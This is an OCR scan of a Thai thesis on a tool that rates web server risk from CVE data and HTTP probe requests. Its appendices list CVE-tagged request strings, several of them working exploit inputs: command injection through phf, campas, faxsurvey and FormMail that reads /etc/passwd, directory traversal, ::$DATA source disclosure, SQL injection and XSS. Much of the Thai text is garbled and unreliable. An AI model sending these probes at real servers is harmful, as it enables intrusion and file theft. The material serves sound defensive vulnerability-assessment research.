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KIART PIROMSOPA : DEVELOPMENT OF A TOOL FOR WEB SERVER RISK
ASSESSMENT USING CVE AND HTTP REQUEST. THESIS ADVISOR
NAKORNTHIP ~ PROMPOON,  THESIS COADVISOR :  THONGCHAI
ROJKANGSADAN, 179 pp. ISBN 974-17-6400-6.

Risk assessment is a key component of computer system management in an
information era. It provides useful information for handling the potential problems.
Currently, web server plays an important role for providing information service via internet
system. If the web server security system is not constantly updated to the safety status,
it may be attacked which could result in business loss.

The objective of this thesis is to develop an application program for web server
risk assessment. The research primarily focuses on the CVE of two commonly used web
servers, Apache and |IS, for vulnerability risk assessment. The levels of impact
classification by loss types, confidentiality, integrity and availability are proposed in this
research. Moreover, the probabilities of vulnerability occurrences of experimental units are
calculated for the basis of risk assessment usage. These samples are randomly selected
from web servers population in one organization, and web servers population registered
domain name in Thailand.

This research also develops a tool using HTTP protocol for inquiring data from
web server for risk assessment. The data is calculated to assess related faults and then
used for assessing the risk of a web server. The developed tool can also compare the risk
value of one target group with another group of web servers predefined in the program.
Our experimental results have shown that the majority of web servers in Thailand have the
highest security risk in confidentiality. They could hence, disclose their confidential data to

non-authorized users.
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Symantec #180 HTTP Server CGl example code compromises http server
Security Focus #0629 — phf Remote Command Execution Vulnerability
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398 1999 - 0146 The campas CGI program provided with some NCSA web servers allows
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nslimzuuilunsFaumeandsil
o azuuu 2 unnady wdgnsndesiuldliiingaunnsas wsalali
AALINWIDITUNNANIZNUABN 1IN INIUABITELIL
=2 @ aa dl o 16 ¥ | :l/ = |
o pzuuy 1 uNede Wwdsnendesiuliliqaunniesiuinansenusie

N199119142849 UL LHUNE9U Y30ARANIUUIITDIAALNNIBIA
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= aal a IR A .
e Azuuu 0 munade 1hidanstleaiulildiaaunnsaniuinansznuse
N19M191128952 UL IAUNNA9Y YTOARAINNTULITBIAALNNTEIAT UG
o & ' d‘ IS 41{
M iALNNIRBUNNANIENUNINTY
=) @ adl dl o 16 ¥ ] :// a ]
o pzuuu -1 unede hiaanitlesiuliliqaunndestiuiinansenusie
N1991197U2093 UL IAUNEU YTAARAINNTHILINTEIGALNNTEIAT WA
o v a | |d§g
M iineaaunniadluiau
=2 | aa dl 1 o
o azuun -2 vurafufuisnisnlidainnsnflesiunansznuaes

| % @ O Y a 1 |49{ 3
'ﬂﬂ‘].lﬂ‘l/\lﬁ“ﬂ\‘]iﬂ LL@Z‘F;I\W]WSL‘VILﬂﬂﬂﬂUﬂW?‘ﬂ\‘liﬁﬁJﬂIuﬂ"Jﬂ

AUNBUN 6 N1FAUINNITUTEUE AR lda g uaIlnsang (Project
Saving) {un19aiAIzriRaINANAYTE9N IR lIaALNNTBeAeT TaetinANtinaziTuly
naifinqaunnsasusiazqa fual liane luntsufladfulgsesusazqaunnsasnnawmeed

AMANAN TuNN9A TR WL LAl
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N9 Ua9IUS IARRALRTANN [8]

Wslnpaaiesiifiidulslnaaaiinn Huumagesiaziudiinesldlu
nsdeansuanilasdeyaiu Sd0aiu 3 nefuldun wefiu 0.9 e 1 uazneu 1.1
fan ﬂLq@muh‘ﬂmmmqwumwmLmrﬁ W lunisinsumieuiupeldnisfesvedesys
Lmzmimmummmﬂmslum@mmm@@mmu wiinnsnauaesllsinaeaaannilune s
0.9 uaz 1.0 Wufluniminauueld inisandaaniuy (Stateless Protocol) agnnl#nng
AnslaaNsnnlfeensdaszuaziidssAnanan ussdennlwnasdu 1.1 Idwamun Iiartuanu
NN NIUIDLIULATLAZNATATINABLLENTULLLN99  (Persistent connections) 11013
Fnsedeaaitelfiaranmnldnseniunisineuuiisalvas (Tunnel Mode) 7ifiaana

daandelunidedayasnnadinisineusunliiinisandnanus i

N75¥R9auLILWTN AN (HTTP. Request) A8 nsiduusatasdeanis¥asas
doyalildaiudsnines Inannsiesradeyasataiduimsan (Method) 1sedan1s5adae
b dJ = b % v o o/ [l 1 z [~ b % v b aaa 6 o
dayazaigluuunisiasaadeyanssoadisdaliiiiiunisiesnadayadaiaannnnesdu
1.1 lusalaa sl www.someschool.edu  Iagfianisfasrentinma page.html annlasnnes
somedir lulaastiu lusm

GET /somedir/page.html HTTP/1.1 - lunns¥aaeninansaunig (Path) 7
o o v v aaa o
AAUALAZNINNIFDIVRARELBTNNN 1B FTU 1.1
Host: www.someschool.edu - dalaanmiunisasedeyaviselaamiuninaans
Connection: close - ileaauavasdiasaidaitlannsidessie
User-agent: Mozilla/4.0 - iuusnaite i i lundsfesuadeya
Accept-language; en. - AEINAULTAEeSReINTIFRaLARes (NTUNVIL

iEFWIaFATILAW)

nMIRaUALBITayalRTANN (HTTP  Response)  Aa N1sliuidswinas
AALAUAIRINLA LU T asran Inan1sdatamunauldsaduusamasaetananui

mraumumﬂ:‘xﬂ@ué’fm?\lm‘ﬂi:mmﬁmj AP
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%

e Iinnauauad (Response Code)  ABAGLALTUAAITNNOANITNNIS

ARLAUBINALUDIA LTINS

|
a

e Aafanmas (Header Fields) Aad mﬂ@meﬁmﬁmﬁum?mmum

¥ A d” ¥ d o
® UDYA AB Wanngluaasdaaaunganauun

4 s Iy 9 o A I
mim”lﬂmaumawamay_a”lﬂ ENLﬂ‘iE)\?LLiJ‘U']EJVIGLW
a < ad s Y Y
‘1_I5ﬂ13L'J°]JL“]ﬁWL’JE)5 AWNITTIVOLUUY HTTP

f19619m 350980 38 HEAD / HTTP 1.0 D

. \
»
A .. v ) o 2
IATDULNVIIADUTAUDINTTI DIVDUD Haedu

HTTP/1.1200 OK

A

(A
D

Server: Microsoft-11S/5.0

Content -Location : http ://192.168.0.1/Default .htm
Date: Mon, 15 Apr 2002 05 :56:57 GMT

Content -Type : text/html

Accept-Ranges: bytes

Last-Modified : Sat,06 Apr 2002 06 :48:34 GTM
Etag: "a017751137 ddc 11:81a"

Content -Lenght: 5

g1l7 9.1 nagineuaesllsinpasanni

gﬂLLuumimﬂumum%’mﬁﬁaﬁq@ﬁmﬁiamﬁlﬁumimumumé’w‘ié’mm?
AALALEY 200 FaHNe A0S UE M0 AN snReLAUesRINNsTasaa ldd5 ez ldvin
nslanisidensanisdedayands eduidminefAldEnniuedwdiudiines
wasiu 1.3.0 ﬁﬁmuuuizuuﬂﬁﬁﬁm@ﬂﬁﬂs{ wazninennsfininnsiesaeliFunsuilans
mmmmqmumw 22 thauiguieu 1l A4, 11998 0@ 31ATgIU 9 w1t 23 w24
AU Apanuanresdananu 6821 lus m%%@r%ﬁl%ﬁﬂqq%wLﬂum@mmmmm
(Tl ALESHnas

HTTP/.1 200 OK — wefufineuauesdeyauasldanisnasaues

Connection: close — BLiEnasIgvinnnsTiannsidensaudn

Date: Thu, 06 Aug 1998 12:00:15 GMT -- mmﬁﬁﬁma‘mumm

Server: Apache/1.3.0 (Unix) - laftuaaaiuigsnines

Last-Modified: Mon, 22 Jun 1998 09:23:24 GMT — §ianfinswenns

fanangnuAlaangn
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%

Content-Length: 6821-- 11A184NnSneNnsnsesae (Muaedlus)

%

Content-Type: text/html - giuttirasninensniesue

(data data data datadata .......... ) - dayanaaLALINALNY

ANT99 2.1 LNERALAZANNNANILUDIANIAINI95 9D LATANN

tNERAA AIMANRNEY

CONNECT W auRLLeTTiTinand (HTTP Proxy) Atlanuanunsnlunsilasulvue
Wingviuiualuam (Tunnel Mode) @ein98m lusin

DELETE Savae lf@inefauninennsissyean’ly

GET Raiendenaidaenisainidsiiaes daduiiudeyaiidesnisiduenans
LI ENIaAULLALARN (Static) Lﬂ'ﬂﬂ?ﬂ’]ﬂiuuﬁm%@ﬁqﬂ@ﬁ@tgﬂLL@@Q‘?]IL%‘LI
U';"mmm't.wimﬂLLﬁuﬁaumﬂﬁmﬂuLmuimmﬁﬂ (Dynamic) WuE@sWiasiay
ﬁwmiﬂaxmwmﬁu%g@ﬁuﬁﬂu me'qrﬁi'n,mﬁvgmmhﬁuiﬂ‘lﬁﬁu
TER LIS TN

HEAD MsTinaueRneiumNeen GET  wiazdneiunseiiaznauaussdayaaud
WAPNAN U UBUI LT NIRRT

OPTIONS Sasuadeyarinianimsnefounnnliieedeyaldls

POST $nsme lHEne SFudayafidadn U Mszanans

PUT $avue lieyaiiedludanaugninUiu 1S udfoes

TRACE danns¥esaeiieldinisdedonanundunnludnynzaesnisaungdy

(Loopback)

Cache-Control

= R N dl < d’ y =3 '8
seylaan?inl (Directive) araLANNalnNsiuLATRdasuusaes

sy nligdessyesfuinuand miuaewlinduiiug)

Connection
Etag TiAnifaatiuaesduiisune. (Entity Tag)
Trailer Viaaf1e9EaAasNRauinsaasianiny

Tranfer-Encoding

WARINTLL AL AN AT WA LB IR AN TUZS

Upgrade ayry16 Wi laaus (Client) svydnleaine faunnRnanvzals
Via gnldTaenming  (Gateway) sendnanisuazniandivanivuadnlasuay
lsTnrealnazgnlddmiunisdeninudenauluusazaan (Hop)
. o A vy A a o 1%
Warning e lideyainimsnaaiuanuzaesdaniu
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A7197 2.2 FeenelAn mmumﬁugmu@zmmumm

Tﬁﬂﬂﬂﬂﬂu’ﬂﬂ ANHKRANE

200 OK dfnafarnnsanauauasnunisiaselid15a

301 Moved dfnefudeiuiudeyasiteutiinafifesnislégndnamumidliudandng
Permanently pswdauriada URL Tvsianlsy

302 Moved dfnafudeinuiudeyaviantinafidasnsldgnénasumidlldanan
Temporarily wauvsda URL Tvisdanlsy

400 Bad Request

dineslidnlanasfesaeriig

401 Unauthorized

dfnefudadnisdfwindayavzainaiiu seeldiunisnmaaeufanu

2095 LTNunaw

403 Forbidden

G EE I b NG O

404 Not Found

i fne sudwnuiindeyavsentiinanieaeiulidiaguudivines

500 Internal Server

Error

= = - X .
AAaNHANANANATWIUIEUININTL sz A KA

501 Not Implemented

@snesllsasiunissesantihv

503 Service L%MLfmﬂu’mﬁmmWﬂ‘uaummﬁ’@w@ié’tﬁm@qn?“umizmumﬂuﬂ?mm
Unavailable Hn
P1997 1.3 Fredniladianinesuazavming
Namaanas ATHUNE
Allow emwseaiidiine feuqnnliEanldom
Authorization wamsdayaiineiunmsnmaseudldieudn sz

Content-Encoding

ugpanadnIidasilam

Content-Length

wARIIUIATRSL AN Faeine s

X
wanaszinnaagiiian

Content-Type
Expries FUNUAZIANHENIILGNAAN TN AR

= = ¥ o o 7 Z‘/ ! =
From Buain g miunisuanuezindeniuiudenainile

Last-Modified

o/ dl d‘ a6 o’d‘ U % i// 1
uiuaznandsinefieduisdegagnuiluaiianga

Location Aumbsnauindayavidantiinaniasann

Pragma BRLNUNGANIINHIANTDIN1950979 LU no-cache  MNIEDILIITaTAL
¥ k3 ' ac ¥ :I/
realanuiindayaluianidsninefynaia

Server WAPNTHALATIULRUILIE N

User-Agent wansdayanaafiuusaresngldldlunts¥esaedeya 1u Mozilla/s.0

(WIinNT)

WWW-Authenticate

WuAlunnIRmagaufaAuNe DTy
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MARNUIN A

Aanaa a v o

1 < ad -4
gdaanLn ﬂQﬂ@QﬂU’ﬂqﬂqL?jLLﬂva’ﬂvL’ﬂ LagLIULEsSWINes

¥ o

A | Adaa A @ as -
ANT1NN A1 "’gﬂUﬂW?‘ﬂ\?sﬁQ‘ﬂV]Lﬂﬂ'ﬂ]‘ﬂ\‘iﬂ‘]_l‘ﬂ']ﬂ’]LTLQULGI]?V\ILQ@?

NHEL[ sﬁﬂamﬁﬂmmunwém

98 1999 — 0021 Arbitrary command execution via buffer overflows in Count.cgi
(wwwcount) cgi-bin program.

98 1999 — 0066 | AnyForm CGI remote execution.

98 1999 — 0067 CGI phf program allows remote command execution through shell
metacharacters.

T8 1999 — 0070 Test-cgi program allows an attacker to list files on the server.

98 1999 — 0146 The campas CGI program provided with some NCSA web servers
allows an attacker to read arbitrary files.

98 1999 — 0172 FormMail CGI program allows remote execution of commands.

F98 1999 — 0174 The view-source CGI program allows remote attackers to read
arbitrary files via a .. (dot dot) attack.

98 1999 — 0237 Remote execution of arbitrary commands through Guestbook CGI
program.

98 1999 -0260 | The jj CGI program allows command execution via shell
metacharacters.

98 1999 — 0262 Faxsurvey CGI script on'Linux-allows remote command execution
via shell metacharacters.

98 1999 - 0264 Htmlscript CGI program allows remote read access to files.

32 1999 — 0266 The info2www CGI script allows remote file access or remote
command execution.

38 2000 — 0010 WebWho+ whois.cgi program allows remote attackers to execute

commands via shell metacharacters in the TLD parameter.
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¥ o

p | Aalaa A @ A e,
ATNN A1 "ﬂmUﬂW?@\‘]sﬁqﬁﬂWLﬂﬂqsﬂ@\ﬁﬂ‘]_l@']ﬂ']LmLQULGﬁ?WLQ@? (ma)

NUHELR ﬁ"]ﬁlﬂSL’Sﬂﬂ'ﬂﬂuﬂW%‘I'ﬂﬂ

98 2000 — 0208 The htdig (ht://Dig) CGI program htsearch allows remote attackers
to read arbitrary files by enclosing the file name with backticks ()

in parameters to htsearch.

98 2000 — 0287 The BizDB CGl script bizdb-search.cgi allows remote attackers to
execute arbitrary commands via shell metacharacters in the

dbname parameter.

T8 2000 — 0941 Kootenay Web KW Whois 1.0 CGI program allows remote
attackers to execute arbitrary commands via shell metacharacters

in the "whois" parameter.

798 2002 - 0061 | Apache for Win32 before 1.3.24, and 2.0.x before 2.0.34-beta,
allows remote attackers to execute arbitrary commands via shell
metacharacters provided as arguments to batch (.bat) or .cmd

scripts, which are sent unfiltered to the shell interpreter

@98 2002 — 0082 The dbm and shm session cache code in mod_ssl before 2.8.7-
1.3.23, and Apache-SSL before 1.3.22+1.46, does not properly

initialize memory using the i2d_SSL_SESSION function

28 2002 — 0392 Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows
remote attackers to cause a denial of service and possibly
execute arbitrary code via a chunk-encoded HTTP request that

causes Apache to use an incorrect size.

=9
)}
)}

2002 - 0513 The PHP _administration script in popper_mod 1.2.1 and earlier
relies on Apache .htaccess authentication, which allows remote
attackers- to. gain -privileges if the script is. not appropriately

configured by the administrator.
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FIERTLALAALNNTAY

@32 1999 — 0191

IIS newdsn.exe CGI script allows remote users to overwrite files.

F3a 1999 — 0264

Htmiscript CGI program allows remote read access to files.

#3a 1999 — 0237

Remote execution of arbitrary commands through Guestbook CGI

program.

%3 1999 — 0278

In 1S, remote attackers can obtain source code for ASP files by

appending "::$DATA" to the URL.

#9@ 1999 - 0874

Buffer overflow in IIS 4.0 allows remote attackers to cause a denial
of service via a malformed request for files with .HTR, .IDC, or

.STM extensions.

#3a 2000 — 0226

[IS 4.0 allows attackers to cause a denial of service by requesting
a large buffer in a POST or PUT command which consumes
memory, aka the "Chunked Transfer Encoding Buffer Overflow

Vulnerability."

@32 2000 — 0884

[1IS 4.0 and 5.0 allows remote attackers to read documents outside
of the web root, and possibly execute arbitrary commands, via
malformed URLs that contain UNICODE encoded characters, aka

the "Web Server Folder Traversal" vulnerability.

F3a 2000 — 0770

[IS 4.0 and 5.0 does not properly restrict access to certain types of
files when their parent folders have less restrictive permissions,
which-could-allow remote attackers to bypass access restrictions

to some files.

%38 2000 — 0778

[1S 5.0 allows remote attackers to obtain source code for .ASP files
and other scripts-via an HTTP-GET request with' a "Translate:

header, aka the "Specialized Header" vulnerability.

@98 2000 — 0886

[IS 5.0 allows remote attackers to execute arbitrary commands via
a malformed request for an executable file whose name is
appended with operating system commands, aka the "Web Server

File Request Parsing" vulnerability.
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%38 2001 - 0151

[IS 5.0 allows remote attackers to cause a denial of service via a

series of malformed WebDAV requests.

%38 2001 — 0241

Buffer overflow in Internet Printing ISAPI extension in Windows
2000 allows remote attackers to gain root privileges via a long

print request that is passed to the extension through IS 5.0.

%32 2001 — 0333

Directory traversal vulnerability in [IS 5.0 and earlier allows remote
attackers to execute arbitrary commands by encoding .. (dot dot)

and "\" characters twice.

F3a 2001 — 0500

Buffer overflow in ISAPI extension (idg.dll) in Index Server 2.0 and
Indexing Service 2000 in IIS 6.0 beta and earlier allows remote
attackers to execute arbitrary commands via a long argument to
Internet Data Administration (.ida) and Internet Data Query (.idq)

files such as default.ida, as commonly exploited by Code Red.

F3a 2001 — 0507

IS 5.0 uses relative paths to find system files that will run in-
process, which allows local users to gain privileges via a Trojan
horse file, aka the "System file listing privilege elevation"

vulnerability.
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AaL19s1aN1ssaratayalaTiiniNe bd lun1sasIagauanunnsag

F1979% 9.1 9nennsfeaedeyanldnsaaaauqaunndasdig 1999 - 0021

Sl
NN LAUDIR

ANBALINE

%98 1999 — 0021

Arbitrary command execution via buffer

(wwwecount) cgi-bin program.

overflows

in  Count.cgi

Pennsiesredeya

GET /Count.cgi

GET /cgis/Count.cqgi
GET /cgis/count.cgi
GET /cgi-bin/Count.cgi
GET /cgi-bin/count.cgi
GET /cgi-local/Count.cgi
GET /cgi-local/count.cgi
GET /cgi/Count.cgi

GET /cgi/count.cqgi

GET /cgis/Count.cgi
GET /cgis/count.cgi
GET /bin/Count.cgi

GET /bin/count.cgi

F197971 9.2 9nen1sieaadeyanldnmaasuqnunniasdin 1999 — 0066

Al
UNELAUDIB

ANBELNE

%38 1999 - 0066

AnyForm CGI remote execution.

sennsiesradeya

GET /AnyForm

GET /AnyForm?2

GET /cgis/AnyForm
GET /cgis/AnyForm2
GET /cgi-bin/AnForm2

GET /cgi-bin/AnyForm
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;13199 9.2 Sennsfasaedeyanldnasauqaunngasing 1999 — 0066 (sia)

aaal o a
NNLULAUDID ANRTUNE
T8 1999 — 0066 AnyForm CGI remote execution.
% ¥
TNUNTTIIVRUDYA

GET /cgi-bin/AnyForm2

GET /cgi-bin/anyform/default.htm
GET /cgi-bin/anyform2/default.ntm
GET /cgi-local/AnyForm

GET /cgi-local/AnyForm?2

GET /cgi/AnyForm

GET /cgi/AnyForm?2

GET /bin/AnyForm

GET /bin/AnyForm?2

;13799 4.3 91eN3iesredesyai linsageLuqALNNIaIEIE 1999 — 0067

aaa o a
NHLAUTIR AIBARLNE
T8 1999 — 0067 CGIl phf program allows remote command execution through shell
metacharacters.
% v
IENNTIANTRUDY R

GET /cgi-bin/phf

GET /cgi-bin/phf.cgi

GET /cgi-bin/phf.cgi?QALIAS=Xx%0a/bin/cat%20/etc/passwd
GET /cgi-bin/phf?QALIAS=x%0a/bin/cat%20/etc/group

GET /cgi-bin/phf?Qalias=&Qname=hagr&Qemail=&Qnickname=&Qoffice_phone=
GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

GET /cgi-bin/phf?Qalias=x%0a/bin/Is%20/

GET /egi-bin/phf?Qname=me%0als%20-IFa

GET /cgi-bin/phf?Qname=root%0A/bin/cat%20/etc/passwd
GET /cgi-local/phf

GET /cgi-local/phf.cgi

GET /cgi-local/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd
GET /cgi/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd

GET /cgis/phf.cgi
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;13197 9.3 Tennsfasaadeyanldnmasauqaunngasdng 1999 — 0067 (sia)

aaal o a
NHIELANUTLIR ANBRELNE
T8 1999 — 0067 CGl phf program allows remote command execution through shell
metacharacters.
% ¥
TNUNTTIIVRUDYA

GET /cgis/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd
GET /bin/phf.cgi
GET /bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd

F1979% 9.4 9nennsiesredeyafldnsmaaatqaunngasdig 1999 — 0070

aaa o a
NNLULAUDID ANRELINE
398 1999 - 0070 Test-cgi program allows an attacker to list files on the server.
v ¥
TENNTINTDUDY R

GET /test-cqgi

GET /cgi-bin/test-cqi

GET /cgi-bin/test-cgi.tcl

GET /cgi-bin/test-cgi/*?*

GET /cgi-bin/test-cgi/default.htm
GET /cgi-bin/test-cgi?*

GET /cgi-bin/test-cgi?/*

GET /cgi-bin/test.cgi

GET /cgi-bin/test.cgi?/etc/passwd/*
GET /cgi-bin/test/test.cgi

GET /cgi-bin/testcgi

GET /cgi-bin/testcgi.exe

GET /cgi-local/test-cgi

GET /cgi-local/test-cgi.tcl

GET /cgi-local/test-cgi?/*

GET /cgi/test-cgi

GET /cgis/test-cgi?/*

GET /bin/test-cgi

GET /bin/test-cgi.tcl
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;13197 4.5 ensfasaadeyanldnsmaaauqaunngasing 1999 — 0146

Al o a
UNELAUDID ANBRELNE

98 1999 — 0146 The campas CGI program provided with some NCSA web servers allows

an attacker to read arbitrary files.

9en9Fesradeya

GET /campas

GET /cgi-bin/campas

GET /cgi-bin/campas?%0acat%0a/etc/group%0a
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
GET /cgi-bin/campas?%0als%20-IFa%20/etc

GET /cgi-local/campas

GET /cgi/campas

GET /cgis/campas

GET /bin/campas

;3199 9.6 TeNsievandeyan lHATMAgaUALNNTBITID 1999 — 0172

aalal o a
NNLULAUDID ANBTLIE
T8 1999 - 0172 FormMail CGI program allows remote execution of commands.
% ¥
TIUNTTIITVRUDYA

GET /formmail.cgi

GET /cgi-bin/FormMail.pl

GET /cgi-bin/formmail

GET /cgi-bin/formmail.cgi?env_report=/etc/passwd&recipient=email@host.com&required=_&firstname=4&I
GET /cgi-bin/formmail.cgi?env_report=/etc/passwd&recipient=test@test.net&required=_&firstname==&la
GET /cgi-bin/formmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&su
GET /cgi-bin/formmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&sub
GET /cgi-bin/formmail?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subjec
GET /cgi-local/formmail

GET /cgi-local/formmail.cgi

GET /cgi-local/formmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&
GET /cgi-local/formmail.pl

GET /cgi-local/formmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&s
GET /cgi-local/formmail?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subj
GET /cgi/formmail

GET /cgi/formmail.cgi

GET /cgi/formmail?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subject=te
GET /bin/formmail.cgi

GET /bin/formmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subjec
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;13199 9.7 ennsfesaadeyan ldnmasauqaunngasing 1999 — 0174

Al o a
UNELAUDID ANBRELNE

T8 1999 - 0174 The view-source CGI program allows remote attackers to read arbitrary

files via a .. (dot dot) attack.

9en9Fesradeya

GET /cgi/view-source

GET /view-source

GET /view-source?../../../../..]../..Jetc/motd
GET /cgi-bin/view-source

GET /cgi-bin/viewsource?/etc/passwd
GET /cgi-local/view-source

GET /cgi-local/viewsource?/etc/passwd
GET /cgis/view-source

GET /bin/view-source

;13799 4.8 91En195asaedayan linsmaseqaLNNIaeEaE 1999 — 0191

aaa o a
NNLULAUDID ANBELINE
398 1999 - 0191 [IS newdsn.exe CGl script allows remote users to overwrite files.
v v
IENNTIANTRUDY R

GET /scrips/tools/newdsn.exe
GET /script/tools/newdsn.exe
GET /tools/newdsn.exe

GET /tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=goatfart+samples+from

;13799 4.9 91ensfesredayan linsmaasuqaunnIasdag 1999 — 0237

NUNLATID ANBBLNE

398 1999 - 0237 Remote  execution- of arbitrary “commands through Guestbook CGI
program.

sennsiesradeya

GET /guestbook/dcguest.cgi

GET /cgi-bin/csGuestbook.cgi

GET /cgi-bin/csGuestbook.cgi?command=savesetup&setup=PERL_CODE_HERE
GET /cgi-bin/guestbookcgi

GET /cgi-local/guestbook.cgi




;13199 9.9 Tensfasaadeyanldnmasauqaunngasing 1999 — 0237 (sia)

98

aalal ° a
UNELAUDID ANBRELNE

98 1999 — 0237

program.

Remote execution of arbitrary commands through Guestbook CGlI

9en9Fesradeya

GET /cgi-local/guestbook.pl
GET /cgi/guestbook-cgi
GET /cgi/guestbook.cgi
GET /cgi/guestbook.pl

GET /cgi/guestbookcgi

GET /cgis/guestbook.cgi
GET /cgis/guestbook.pl
GET /bin/guestbook.cgi
GET /bin/guestbook.pl

GET /guestbook

GET /cgi-bin/guestbook.asp
GET /cgi-bin/guestbook.dll
GET /cgi-bin/guestbook.doc
GET /cgi-bin/guestbook.exe
GET /cgi-bin/guestbook.htm
GET /cgi-bin/guestbook.html
GET /doc/guestbook.asa
GET /doc/guestbook.tmp
GET /doc/guestbook.txt
GET /doc/guestbook.vbs
GET /~root/guestbook.jsp
GET /guestbook.zip
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FIN3199 4.10 31ensiastadayai linsaaatqaunndasing 1999 — 0260

NUNLALTID ANBBUNE

T8 1999 — 0260 The jj CGI program allows command execution via shell metacharacters.
9en9Fesradeya

GET /jj

GET /cgi-bin/jj

GET /cgi-bin/jj.cgi
GET /cgi-local/jj
GET /cgiljj

GET /cgis/jj

GET /bin/jj

;13199 9.11 398n135 a0 dayall [iRIAaaLaAUNNEasTIE 1999 — 0262

aAalal o a
UNELATTID ANRTLIE

T8 1999 - 0262 Faxsurvey CGI script on Linux allows remote command execution via

shell metacharacters.

718n195evr8d0a

GET /bb-dnbd/faxsurvey

GET /faxsurvey

GET /cgi-bin/faxsurvey

GET /cgi-bin/faxsurvey?/bin/cat%20/etc/group
GET /cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
GET /cgi-bin/faxsurvey?cat#20/etc/passwd
GET /cgi-bin/faxsurvey?ls%20-IFa

GET /cgi-local/faxsurvey

GET /cgi-local/faxsurvey?cat#20/etc/passwd
GET /cgi/faxsurvey

GET /cgilfaxsurvey?cat#20/etc/passwd

GET /cgis/faxsurvey
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100

aaal o a
NHIELANUTLIR ANBRELNE
98 1999 — 0264 Htmlscript CGI program allows remote read access to files.
% ¥
TNUNTTIIVRUDYA

GET /cgis/faxsurvey?cat#20/etc/passwd

GET /bin/faxsurvey

GET /bin/faxsurvey?cat#20/etc/passwd

GET /htmlscript

GET /cgi-bin/htmlscript

GET /cgi-bin/htmlscript?../../..[../..]../..1..]..]../etc/passwd
GET /cgi-bin/htmiscript?../../../..[..]..]..]..letc/passwd
GET /cgi-bin/htmiscript?../../../../..]../etc/group

GET /cgi-bin/htmiscript?../../../..letc/passwd

GET /cgi-local/htmlscript

GET /cgi-local/htmlscript?../../..[..[..[..] .]..]..l../etc/passwd
GET /cgi/htmiscript

GET /cgi/htmlscript?../../../..1..[..]..] .]..]../etc/passwd
GET /cgis/htmiscript

GET /cgis/htmlscript?../../../../..[..]..1..]..[..letc/passwd
GET /bin/htmlscript

GET /bin/ntmiscript?../../../..1..[..[..]..]..]..letc/passwd

F1379% 4.13 Pennsiestedeyan linsaaasuqaLnngesdig 1999 - 0266

aaa o a
NRUIBLAUTEIR ATBRELINE
398 1999 - 0266 The info2www CGI script allows remote file access or remote command
execution.
% ¥
718N139URUDY A

GET /cgi-bin/info2www

GET /cgi-bin/infoewww?*(../../../../..1..1..1. /Is%20-IFa%20/etc|)’
GET /cgi-local/info2www

GET /cgi/info2www

GET /cgis/info2www

GET /bin/info2www
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FIN399 9.14 1ensiastadayai linsaaatqnunndasing 1999 — 0278

Al o a
UNELAUDID ANBRELNE

398 1999 - 0278 In 1IS, remote attackers can obtain source code for ASP files by

appending ":$DATA" to the URL

9en9Fesradeya

GET /global.asa::3DATA

GET /index.jsp::3DATA

GET /*.jsp::3DATA/

GET /'%20UNION%20ALL%20SELECT%20FileToClob('/etc/passwd','server')::html,0%20FROM%20sysusers%20W

P399 9.15 318n93Fasadayai [AsAaaLqAUNNTasTae 1999 — 0874

aAaal o a
UNELATTID AR TLUNE

%98 1999 — 0874 Buffer overflow in IIS 4.0 allows remote attackers to cause a denial of
service via a malformed request for files with .HTR, .IDC, or .STM

extensions.

s8n195evradnya

GET /<script>alert('Vulnerable')</script>.stm

GET /ASPSamp/AdvWorks/equipment/achg.htr

GET /adminlogin?RCpage:=/sysadmin/index.stm

GET /adminlogin?RCpage=/sysadmin/index.stm

GET /asp/something.stm

GET /blabla.idc

GET /bogus.stm

GET /global.asa%3F+.htr

GET /global.asa+.htr

GET /invalidfilename.idc

GET /session/adminlogin?RCpage/sysadmin/index.stm

GET /session/adminlogin?RCpage=/sysadmin/index.stm

GET /something.stm

GET /test.idc

GET /whatever.htr

GET /cgi-bin/session/adminlogin?RCpage=/sysadmin/index.stm
GET /cgi-local/session/adminlogin?RCpage=/sysadmin/index.stm
GET /cgis/session/adminlogin?RCpage=/sysadmin/index.stm

GET /*.idc
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FIN3199 9.16 31ensFastadayai linsaaatqauNNdasEaa 2000 — 0010

Al o a
UNELAUDID ANBRELNE

398 2000 - 0010 WebWho+ whois.cgi program allows remote attackers to execute

commands via shell metacharacters in the TLD parameter.

9en9Fesradeya

GET /cgi/webwho.pl

GET /cgi/whois.cgi

GET /cgi/whois.cgi?action=load&whois=%3Bid

GET /cgi/whois.pl

GET /cgi/whois_raw.cgi

GET /cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
GET /cgi-local/webwho.pl

GET /cgi-local/whois.cgi

GET /cgi-local/whois.cgi?action=load&whois=%3Bid
GET /cgi-local/whois_raw.cgi

GET /cgi-local/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
GET /cgi/scripts/whois.cqgi

GET /cgi/scripts/whois.cgi?action=load&whois=check
GET /cgis/whois.cgi?action=load&whois=%3Bid

GET /cgis/whois_raw.cgi

GET /cgis/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
GET /bin/scripts/whois.cgi

GET /bin/scripts/whois.cgi?action=load&whois=check
GET /bin/webwho.pl

GET /bin/whois.cgi?action=load&whois=%3Bid

GET /bin/whois_raw.cgi

GET /bin/whois_raw.cgi?fqgdn=%0Acat%20/etc/passwd




FIN399 9.17 F1ennsiastadayai linsaaatqaunndasine 2000 — 0208

103

Al o a
UNELAUDID ANBRELNE

398 2000 — 0208 The htdig (ht://Dig) CGI program htsearch allows remote attackers to

parameters to htsearch.

read arbitrary files by enclosing the file name with backticks (7) in

s8n195evradnya

